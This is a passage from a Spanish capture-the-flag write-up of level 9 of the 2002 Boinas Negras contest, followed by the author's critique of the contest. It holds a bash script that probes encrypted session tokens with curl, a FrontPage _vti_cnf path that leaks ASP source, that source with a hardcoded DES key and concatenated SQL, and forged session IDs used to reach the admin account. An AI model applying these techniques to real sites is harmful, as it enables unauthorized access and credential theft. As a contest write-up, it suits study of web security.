11:48:46 uri: B0D2A11D8BC5507B705E2355471D8C3686595E12B965CE3F      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:49:02 rom: B0D2A11D8BC5507BF8E40CD8D50EC0D7B41545C6EAD2C252      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:49:16 uri: B0D2A11D8BC5507BE32495AE9A56B0DF928E2E54C6161249      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:49:31 rom: B0D2A11D8BC5507B48EA6022494B714096B7C9E35EE19B24      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:49:45 uri: B0D2A11D8BC5507BD8B8884CFCEFD88B87526AB82C3C7CE9      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:50:00 rom: B0D2A11D8BC5507B002073000C8F5664FB11580CBE2F7F07      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:50:14 uri: B0D2A11D8BC5507BD7EA0CD6140BC2FBCD214D7290F0E4F0      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:50:29 rom: B0D2A11D8BC5507B3DEFC74EDBAADF57AEEB434F53E97A39      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:50:45 uri: B0D2A11D8BC5507BD226BD9665932AC0DDFE38351581C390      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:50:59 rom: B0D2A11D8BC5507B131C31D0C048EFAA                      SSSSSSSSSSSSIIIIIIIIIIIIIIIIIIII
11:51:12 uri: B0D2A11D8BC5507BFEF219AEDD6F34B40342126D4259BC21      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:51:27 rom: B0D2A11D8BC5507B7711F043E3B7A011B95E5DAAA575BE13      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:51:42 uri: B0D2A11D8BC5507B180043E4779C89600C61F2862E79229A      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:51:56 rom: B0D2A11D8BC5507BC21B3B2C93D1075771B35681E442C98F      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:52:11 uri: B0D2A11D8BC5507B84E02AA3B2964E320E84C4F595E470C8      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:52:27 rom: B0D2A11D8BC5507B8D38B01D108DBD94C453F4A7F3E62B05      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:52:42 uri: B0D2A11D8BC5507B3FDC21320F50378EA4F832C7B44BBBAC      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:52:57 rom: B0D2A11D8BC5507BA0F2D80328A2DFA526625DFF953F7EEA      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:53:13 uri: B0D2A11D8BC5507BE421E3A78F90233537562C6B57B9E64F      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:53:27 rom: B0D2A11D8BC5507BCDA945BFE6CB02F8BC350CE5D65B0826      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:53:46 uri: B0D2A11D8BC5507BB251F29FC48816399ED1B17D60C0484F      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:54:02 rom: B0D2A11D8BC5507BB2F272B59A6A7F5652A395F2B8592E0E      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:54:17 uri: B0D2A11D8BC5507B9B3BD2F253A68357FAAE8B9C7477BA1A      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:54:32 rom: B0D2A11D8BC5507BA42EC7268528DA48EEAEC422971B3403      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:54:47 uri: B0D2A11D8BC5507B90AE53EEEA78D1CE09A9649F3C12464E      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:55:02 rom: B0D2A11D8BC5507B285131C206326816E03B254EC4E91DAC      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:55:17 uri: B0D2A11D8BC5507BA22E4D6810CF3B73BB9BB5918E12F9CD      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:55:33 rom: B0D2A11D8BC5507B8AC87A44A6B9D47633D83BBC25608F17      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:55:53 uri: B0D2A11D8BC5507B38AAC5663868808752B7FE52D702A335      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:56:08 rom: B0D2A11D8BC5507BB5BDF45842771B20A48D7EEBE6F94D38      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:56:26 uri: B0D2A11D8BC5507BD5907B20E9FD67D273D36A58EE3463F7      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:56:40 rom: B0D2A11D8BC5507B3A289090F99D0F124E09B8F4D8A1095C      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:56:55 uri: B0D2A11D8BC5507BE101A429EB866A378B123BD05F3BCD0B      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII

11:57:09 rom: B0D2A11D8BC5507B2326720ED2E069E52131248420532B1C      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:57:24 uri: B0D2A11D8BC5507BE95285D0ABF15AFF201970B52ABFB1F8      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:57:39 rom: B0D2A11D8BC5507B39F2DF8906C8E5738EEFAD5FE1CD732D      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIISIIIIIIIIIII
11:57:54 uri: B0D2A11D8BC5507B9615B0BFA08F105D3CC6019B0099F332      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:58:09 rom: B0D2A11D8BC5507BDF4B386FD3BEA616DBE22B58024959CE      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:58:23 uri: B0D2A11D8BC5507BCC119F0DF5DF65202E1CF1B1C160DFD3      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:58:38 rom: B0D2A11D8BC5507B5C63B43A7727D663F5FCBE1C1EE42814      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:58:57 uri: B0D2A11D8BC5507BC8DACDDD6C2ADDA9230BE58417726BFF      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:59:12 rom: B0D2A11D8BC5507B5E8C5719E4C92F79A0F2BACBFA6B1C6A      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
11:59:27 uri: B0D2A11D8BC5507BD596DE60B8FE08D67F1DCC0CC53DA3BC      SSSSSSSSSSSSSSSSSSSSSSIIIIIIIIIIIIIIIIIIIIIIII
```

<log truncado>

Podemos ver lo comentado más arriba: las fronteras de words son borrosas. Por ejemplo, lo que hemos llamado id de sesión contiene un número de bytes que alterna entre varios posibles. Desconcertante, ¿eh?

¿Alguien quiere código? Pues ahí va...

```
roman@goliat:~/hack/instisec/nivel9 > cat gettocho2.sh
#!/bin/bash
####
### Boinas Negras - Nivel 9 - by RoMaNSoFt (c) Mayo 2002
####

### Configuracion
USER="romansoft"
PASS="mi_passwd_del_concurso"
ANALIZAR="si"
### Fin Config

# Funcion para recoger la cookie de usuario
recoge_cookie()
{
  echo "Recogiendo cookie del user \"$USER\"..."
  cookie=`curl       -i       -d       "login=$USER&pwd=$PASS&modo=Entrar"
http://www.boinasnegras.com/autenticacion/default.asp 2> /dev/null | grep "^Set-
Cookie:" | cut -f 2- -d " " | cut -f 1 -d ";"`
  echo -e "$cookie\n"
}


# Funcion para pillar un tocho
pilla_un_tocho()
{
  _fecha=`date +%H:%M:%S`
  _tocho=`curl    --cookie    $cookie    -d    "login=$2&pwd=$3&modo=Entrar"
http://www.boinasnegras.com/autenticacion/nivel9/default.asp 2> /dev/null | grep
administrar.asp | cut -f 2 -d "?" | cut -f 1 -d \"`

  if [ $_tocho ] ; then
    echo -n $_fecha $1: $_tocho
    if [ $ANALIZAR == 'si' ]; then
      analiza_tocho $_tocho
    else
      echo
    fi
  else
    echo $_fecha $1: "Cookie invalida (recargamos cookie)"
    recoge_cookie
    pilla_un_tocho $1 $2 $3
  fi
}


# Funcion para pillar los tochos
pilla_tochos()
{
  echo "---- Aqui van los tochos ----"
  echo "                [  -=Word 1=-  ][  -=Word 2=-  ][  -=Word 3=-  ]
[  -=Word 1=-  ][  -=Word 2=-  ][  -=Word 3=-  ]"
  for _i in `seq 1 300`; do
    pilla_un_tocho uri Uri XXXXX
```

```
        pilla_un_tocho rom romansoft YYYYY
      done
      echo "---- END of Tochos ----"
    }


    # Funcion que chequea si es sesion invalida
    check_id_manipulado()
    {
      if [ "`cat $tmp | grep 'n ha sido manipulado.'`" ] ; then
        return 1
      else
        return 0
      fi
    }


    # Funcion que chequea si sesion ha expirado
    check_sesion_expirada()
    {
      if [ "`cat $tmp | grep 'n ha expirado.'`" ] ; then
        return 1
      else
        return 0
      fi
    }


    # Funcion para analizar un tocho
    analiza_tocho()
    {
      _mascara=""
      _long=${#1}
      for _i in `seq 1 $_long` ; do

        if [ $_i -gt 1 ] ; then
          _cadena_ppio=${1:0:($_i-1)}
        else
          _cadena_ppio=""
        fi

        if [ $_i -lt $_long ] ; then
          _cadena_fin=${1:($_i)}
        else
          _cadena_fin=""
        fi

        if [ ${1:($_i-1):1} == 'F' ] ; then
          _cadena_char='E'
        else
          _cadena_char='F'
        fi

        _tocho_modificado=$_cadena_ppio$_cadena_char$_cadena_fin


_url="http://www.boinasnegras.com/autenticacion/nivel9/administrar.asp?"$_tocho_
modificado
        curl --cookie $cookie $_url 2> /dev/null >$tmp
        if ! check_id_manipulado ; then
          _mascara=$_mascara"I"
```

```
    elif ! check_sesion_expirada ; then

      _mascara=$_mascara"S"
    else
      _mascara=$_mascara"*"
    fi
  done
  echo "       $_mascara"
}


# MAIN
tmp="/tmp/gettocho.$$.$RANDOM"
recoge_cookie
pilla_tochos
rm -f $tmp
```

Todo un señor script, ¿verdad? ;-) "Culturilla" (técnica) general, como yo lo llamo. Si os fijáis a lo largo de este documento hemos programado en JavaScript, C, PHP, Perl y Bash. No soy un experto en ninguno de estos lenguajes pero -como veis- me defiendo en distintos campos (en unos mejor que en otros, como es lógico).

Si bien hemos analizado con cierta profundidad las cadenas hexadecimales (hice más pruebas que no documento por falta de tiempo, que consisten básicamente en intercambiar un word de una petición por el de la petición siguiente y/o de otro usuario y ver si nos devuelve un mensaje de "sesión expirada" o bien "id no válido"), la cruda realidad es que al final de todo no tenemos **nada**. Demasiadas posibilidades, demasiada incertidumbre, demasiadas variables... y muy pocos datos, salvo los deducidos de nuestros experimentos. Era un trabajo de ingeniería inversa realmente difícil.

Decido tomar otro camino. "Si consiguiera el código .asp de la página podría ver cómo funciona el algoritmo y el problema sería extremadamente sencillo de resolver" -pensé-. La idea es aprovechar algún "bug" del servidor que me de acceso a ese fichero.

Las posibilidades también son amplias, pero es casi más fácil que resolver el enigma de la cadena hexadecimal. Empecé a pensar en las últimas vulnerabilidades de IIS aparecidas recientemente. ¿Estaría parcheado el servidor? La respuesta queda en el aire. Al final no tendría que comprobarlo siquiera.

Llegaron a mis oídos unas habladurías de que Cuartango -uno de los Organizadores- había dado pistas en el canal #boinasnegras de irc-hispano. La principal pista decía algo así como:

'La solución la tenéis en "la página de enfrente"'

En la última sección de este documento, dedicada a mi visión personal y crítica del concurso, expondré mi opinión sobre este tipo de pistas, pero no adelantemos acontecimientos.

El caso es que si sabemos algo de inglés tenemos:
- front (o "in front of"): delante de, enfrente de
- page: página

¡La "página de enfrente" se refiere a Frontpage! Es sabido por todos que ha habido múltiples (y legendarios) fallos acerca de este producto desarrollado por los chicos de Vermeer Technology Inc (VTI), bajo las órdenes de Microsoft.

Procedemos pues a documentarnos un poco sobre vulnerabilidades de Frontpage y hacemos algunas pruebas. Encontramos el fallo al acceder a:

http://www.boinasnegras.com/autenticacion/nivel9/_vti_cnf/

Nos devuelve un mensaje de error de "Listado de directorio denegado". ¡Eureka! ¡El directorio existe! Hemos encontrado una posible puerta de entrada ;-). Si seguimos investigando llegaremos a:

http://www.boinasnegras.com/autenticacion/nivel9/_vti_cnf/administrar.asp.base

lo cual nos devuelve el ansiado código fuente de la página de administración.

La explicación es que Frontpage guarda una especie de backups de los ficheros de la web. Lo que nos acabamos de bajar no es otra cosa que uno de ellos.

Si intentamos hacer lo propio para la página de "default.asp" (no funciona) deducimos que muy probablemente el bug se introdujo a propósito, para que el reto fuera resoluble.

Por cierto, resulta curioso hacer una búsqueda en Google por "_vti_cnf". Aunque mejor no dar ideas. };-)

Ya lo tenemos "a huevo", como quien dice. Echemos un vistazo rápido al código fuente obtenido:

```
      Dim oCripto, Id, Cookie, dEstampilla, bError
      bError = False
      Cookie = Request.QueryString
      If Cookie = "" Then Response.Redirect("./")
      ' Usamos el objeto CriptoASP desarrollado por Instituto Seguridad Internet
      Set oCripto = Server.CreateObject("Instisec.Cripto")
      On Error Resume Next
      Cookie = oCripto.Descifrar(FromHex(Cookie),"arquimedes",2)
      If Err.number <> 0 Then
            Response.Write "<p>El Id de sesión ha sido manipulado.</p>"
            Response.Write "<p><a href=""./"">[>> Entrar]</a></p>"
            bError = True
      End If
      Set oCripto = Nothing

      If Not bError Then
            dEstampilla = Mid(Cookie,1,InStr(Cookie,":")-1)
            If (CDbl(Now) - dEstampilla)*100000 > 600.0 Then
                  Response.Write "<p>Su sesión ha expirado. Por favor,
identifíquese de nuevo.</p>"
                  Response.Write "<p><a href=""./"">[>> Entrar]</a></p>"
                  bError = True
            End If
      End If

      If Not bError Then
            Id = Mid(Cookie,InStr(Cookie,":")+1)
```

```
            If Not IsNumeric(Id) Then Response.Redirect("./")
      End If

      If Not bError Then
            Dim SQL, oRec, oConn

            On Error Resume Next
            Set oConn = Server.CreateObject( "ADODB.Connection" )
            oConn.Open "dsn=instisec.com.p9"
            SQL = "SELECT * "_
                  &"FROM Cuentas WHERE IdCuenta = "&Id&";"
            Set oRec = oConn.Execute (SQL)
            If Err.number <> 0 Then
                  Response.Write "<p class=""negro"">No se puede acceder
temporalmente a la base de datos debido a labores administrativas. "
                  Response.Write "Inténtelo de nuevo dentro de unos
minutos.</p>"
            ElseIf Not oRec.EOF Then
                  Response.Write "<p>Estos son sus datos personales:</p>"
                  Response.Write "<ul><li>Nombre: "&oRec("Usuario")&"</li>"
                  Response.Write "<li>Contraseña:
"&oRec("Contrasena")&"</li></ul>"
                  Response.Write "<p><A HREF=""javascript:history.back()"">[>>
Menú principal]</A></p>"
            End If
            oRec.Close
            oConn.Close
            Set oConn = Nothing
      End If
```

Incluso para los que no sabemos apenas ASP es inmediato deducir el funcionamiento del programa.

Resolvamos la primera incógnita: el algoritmo de encriptación. Nos fijamos que usa la libreria en encriptación que ya usamos al final del reto 8, con la clave de encriptación "arquimedes". Recordemos:

http://www.instisec.com/publico/descargas/criptoaspdemo.asp

Vamos a usar la "demo" de la URL de arriba; así nos ahorramos tener que instalar la librería en una máquina nuestra. Generaremos una cadena hexadecimal reciente y probaremos los tres únicos algoritmos de descifrado que soporta dicha página, con la contraseña "arquimedes" recién obtenida.

Así concluimos que el algoritmo usado es DES:

E205C6B291DE5F9E90E7F35B2406DA0D0B586DEEBCB0D441

que desencriptado equivale a:

37384,4654166667:38

Siguiente pregunta. ¿Cómo discrimina entre usuarios? El código fuente nos da la respuesta: el número que hay después de los dos puntos (":") representa el id de usuario. En este caso, mi usuario de pruebas, que he estado usando a lo largo de la prueba (bueno, uno de ellos), tiene el id 38.

Ahora es sólo cuestión de cambiar el id y generar la cadena encriptada. Es lógico pensar que el administrador tenga como id un número muy pequeño (de los primeros que se generaron).

Comenzamos con id = 0:

37384,4654166667:0 := E205C6B291DE5F9E90E7F35B2406DA0D09647ED89CA33E04

Intentamos acceder a:

http://www.boinasnegras.com/autenticacion/nivel9/administrar.asp?E205C6B291DE5F9E90E7F35B2406DA0D09647ED89CA33E04

Comprobamos que no se produce error ni de expiración de sesión ni id de usuario, y entramos en la página de administración. Pero nos aparecen todos los campos vacíos: este usuario no existe realmente, es decir, el id realmente empieza a partir del 1.

Si repetimos el proceso con id=1 obtenemos el primer usuario válido:

Nombre: gonzalo
Contraseña: gonzalo

¡Vaya una clave segura, Gonzalo! ;-)

[Nota: Gonzalo es uno de los autores del concurso]

El usuario "administrador" debe andar muy cerca. Seguimos, id = 2:

37384,4654166667:2 := E205C6B291DE5F9E90E7F35B2406DA0D0F8AC96B77AABF92

Y por fin obtenemos:

```
Nombre: administrador
Contraseña: ********
```

¡Hemos resuelto el reto! "Ha sido Vd. obsequiado con una bonita boina negra y una camiseta" :-)

Solución: ********

Algunos enlaces consultados:

* Artículos de Bugtraq como:

+ *http://online.securityfocus.com/archive/1/10850*

```
Subject: Followup to FP98 and other Frontpage bugs
Date: Oct 12 1998 11:22AM
Author: <pedward@webcom.com>
```

+ http://online.securityfocus.com/archive/1/9074

```
Subject: Re: More Microsoft debri
Date: Apr 23 1998 2:36PM
Author: <pedward@webcom.com>
```

* Hacking FrontPage at a Glance
http://sec.subnet.dk/fp.html

* The Windows NT WarDoc
http://www.inet-sec.de/downloads/nt/wardoc.htm

* Frontpage Tips & Techniques
http://www.reflections.co.nz/Projects/Web-Design/

* Administration of the Microsoft FrontPage Server Extensions
http://www.rtr.com/fpsupport/SERK/admin.htm

* Encryption Cryptography Resources
http://www.crypt0graphy.com/usa/index.htm

* Programa para calcular hashes:
http://www.damn.to/files/dm_hc151.zip

--[Opinión y crítica]

Concluiré este artículo expresando mi opinión acerca del concurso. Todo lo que aquí se diga es materia subjetiva y por tanto, entiendo que habrá gente que estará o no de acuerdo conmigo. En todo caso, no quería dejar pasar la oportunidad de ofrecer "feedback" a la Organización de un concurso que, en resumidas cuentas, ha estado francamente bien.

En cuanto a las pruebas, he de decir que la que menos me ha gustado ha sido la primera. Es de total idea feliz. A mí particularmente (y me consta que también a muchos otros) nos ha resultado mucho más difícil el primer reto que muchas de las otras pruebas. Era una idea feliz como un templo, y además, como es la primera prueba, y por tanto, el primer contacto con el concurso, uno se encuentra un tanto desorientado, no sabe si puede ser algún bug de servidor, alguna trivialidad en el fuente .html, etc. Sólo es evidente que no debe ser algo técnicamente muy difícil, puesto que para algo es el nivel más bajo. Pero no es fácil caer en la cuenta del "truco".

El nivel 10 creo que ha sido el más bonito, con diferencia. Además puede ayudar a concienciar a la gente sobre la importancia de este tipo de bugs conocidos como "CSS" (Cross-Site Scripting), a menudo menospreciados. Si bien es un poco desesperante depender de que Julia lea o no su correo este detalle añade más realismo a la prueba.

He quedado bastante decepcionado con el final del concurso. Ahora paso a comentar esta parte. Ha sido el resultado de una mezcla explosiva entre algo que resultaba totalmente previsible (al menos yo lo veía venir) -y por otro lado inevitable-, que ha sido la gente dando chivatazos con las soluciones a sus amigos y/o conocidos, y lo que considero un fallo de la Organización: el tema de las pistas.

Sobre esto último, decir que ya le comenté a Cuartango en el canal #boinasnegras de irc-hispano mi opinión acerca de dar pistas, cuando todavía no existían ganadores del concurso. Le adelanté que si se habían de dar pistas debían ser lo suficientemente espaciadas en el tiempo, y lo más importante: pistas "muy light". La idea es ir incrementando el nivel de importancia de las pistas: empezar por una pista muy vaga, que prácticamente no diga nada, e ir dando conforme pasa el tiempo pistas cada vez más esclarecedoras.

Sin embargo, en mi opinión no se hizo así. Tras finalizar el concurso (al menos para mí) he conseguido enterarme en qué consistía esa primera pista oficial que se dio sólo a algunos y que fue clave para el desenlace final del concurso:

"Esta pagina esta hecha con el Visual Interdev y las extensiones Frontpage. Y el webmaster es muy pero que muy despistado."

Con Interdev se podía descubrir el bug del último nivel con relativa facilidad. ¡Eran pistas muy directas para ser la primera! Esto ha sido un gran fallo.

Otro gran fallo es que al parecer se dieron pistas en el tan nombrado (y por cierto, totalmente extraoficial) canal de irc, con lo cual la gente que se encontraba en el mismo jugaba con ventaja. Por ejemplo, una pista bastante importante es la que hace referencia a "la página de enfrente". Esta pista, si se consideraba apropiada, se debía haber dado en el foro oficial o en cualquier otra parte de la página oficial de Boinas, para que llegue globalmente a todos y no sólo a algunos.

Respecto a la conveniencia o no de dar pistas individuales a cada concursante, según orden de llegada al nivel 9, aunque en principio me parecía razonable, creo que no se debía de haber hecho, en previsión de lo que más tarde ocurriría: dichas pistas se extenderían entre un grupo más o menos cerrado de usuarios, beneficiando no sólo al destinatario original de la pista, sino a todos sus muchos amigos y allegados, y a la vez, poniendo en clara desventaja a otros concursantes más merecedores de la pista, los cuales no disfrutarían de ella. Sin ir más lejos, yo nunca llegué a obtener la pista (hasta terminado el concurso, y además de forma no oficial) siendo la cuarta persona que llegó al último nivel. Sin embargo, estoy seguro de que muchos o la gran mayoría de los "ganadores" tuvieron acceso a ella.

El punto anterior, y concluyo, enlaza con el siguiente y último: el tiempo. En este tipo de concurso, donde las pruebas se podían resolver con relativa facilidad (al menos para alguien con unos conocimientos técnicos medios) juega un papel muy importante el tiempo: si alguien comienza a hacer las pruebas el primer día que el concurso empieza, y otro se apunta 3 días más tarde, el primero cuenta con una ventaja de 3 días. Este intervalo de tiempo puede resultar despreciable en algunos escenarios (por ejemplo, en concursos de gran dificultad), pero en un concurso como el de Boinas, con características maratonianas, supone una gran ventaja para el primer concursante. Partiendo de este axioma lo más justo sería haber anunciado con anterioridad la fecha de comienzo del concurso, de forma que los interesados pudieran estar sobre aviso. Es más, incluso se podría haber dejado a los concursantes que se fueran registrando incluso. De esta forma, el concurso daría comienzo en la fecha anunciada y conocida previamente por todos, dando plena igualdad a todos los concursantes.

A pesar de todo lo anterior mi opinión global del concurso ha sido claramente positiva. ¿Para cuando la "maratón Unix"? ;-)

--[Despedida y cierre]

Llegó el momento de la despedida. No me voy a extender más. Espero no haberos aburrido demasiado y que algunos se hayan beneficiado de la lectura de este documento, que pretendía ser técnico pero a la vez ameno y divertido.

Una vez más, ¡mi enhorabuena a la Organización, y mi deseo de que eventos como éste se repitan más a menudo!

Atte,

[http://www.rs-labs.com/]

-=----------[EOF]---=-